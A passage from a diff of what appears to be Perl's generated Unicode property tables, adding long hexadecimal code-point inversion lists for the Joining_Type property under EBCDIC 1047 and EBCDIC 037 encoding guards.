+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1807,
+	0x1808,
+	0x180A,
+	0x180E,
+	0x1820,
+	0x1878,
+	0x1885,
+	0x18AB,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x206A,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA840,
+	0xA873,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AC0,
+	0x10AC6,
+	0x10AC7,
+	0x10AC8,
+	0x10AC9,
+	0x10ACB,
+	0x10ACD,
+	0x10AE2,
+	0x10AE4,
+	0x10AE7,
+	0x10AEB,
+	0x10AF0,
+	0x10B80,
+	0x10B92,
+	0x10BA9,
+	0x10BAF,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_REGEXEC_C) */
+#   endif	/* ASCII/Latin1 */
 
-#if defined(PERL_IN_UTF8_C)
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-static const UV _Perl_IDCont_invlist[] = { /* for EBCDIC 037 */
-	1387,	/* Number of elements */
+static const UV PL_JT__U_invlist[] = { /* for EBCDIC 1047 */
+	667,	/* Number of elements */
 	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x620,
+	0x621,
+	0x622,
+	0x660,
+	0x66E,
+	0x674,
+	0x675,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x780,
+	0x7A6,
+	0x7B1,
+	0x7CA,
+	0x7F4,
+	0x7FA,
+	0x7FB,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x856,
+	0x859,
+	0x85C,
+	0x860,
+	0x861,
+	0x862,
+	0x866,
+	0x867,
+	0x86B,
+	0x8A0,
+	0x8AD,
+	0x8AE,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1807,
+	0x1808,
+	0x180A,
+	0x180E,
+	0x1820,
+	0x1878,
+	0x1885,
+	0x18AB,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x206A,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA840,
+	0xA873,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AC0,
+	0x10AC6,
+	0x10AC7,
+	0x10AC8,
+	0x10AC9,
+	0x10ACB,
+	0x10ACD,
+	0x10AE2,
+	0x10AE4,
+	0x10AE7,
+	0x10AEB,
+	0x10AF0,
+	0x10B80,
+	0x10B92,
+	0x10BA9,
+	0x10BAF,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_JT__U_invlist[] = { /* for EBCDIC 037 */
+	667,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x620,
+	0x621,
+	0x622,
+	0x660,
+	0x66E,
+	0x674,
+	0x675,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x780,
+	0x7A6,
+	0x7B1,
+	0x7CA,
+	0x7F4,
+	0x7FA,
+	0x7FB,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x856,
+	0x859,
+	0x85C,
+	0x860,
+	0x861,
+	0x862,
+	0x866,
+	0x867,
+	0x86B,
+	0x8A0,
+	0x8AD,
+	0x8AE,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x1807,
+	0x1808,
+	0x180A,
+	0x180E,
+	0x1820,
+	0x1878,
+	0x1885,
+	0x18AB,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200D,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x206A,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA840,
+	0xA873,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AC0,
+	0x10AC6,
+	0x10AC7,
+	0x10AC8,
+	0x10AC9,
+	0x10ACB,
+	0x10ACD,
+	0x10AE2,
+	0x10AE4,
+	0x10AE7,
+	0x10AEB,
+	0x10AF0,
+	0x10B80,
+	0x10B92,
+	0x10BA9,
+	0x10BAF,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
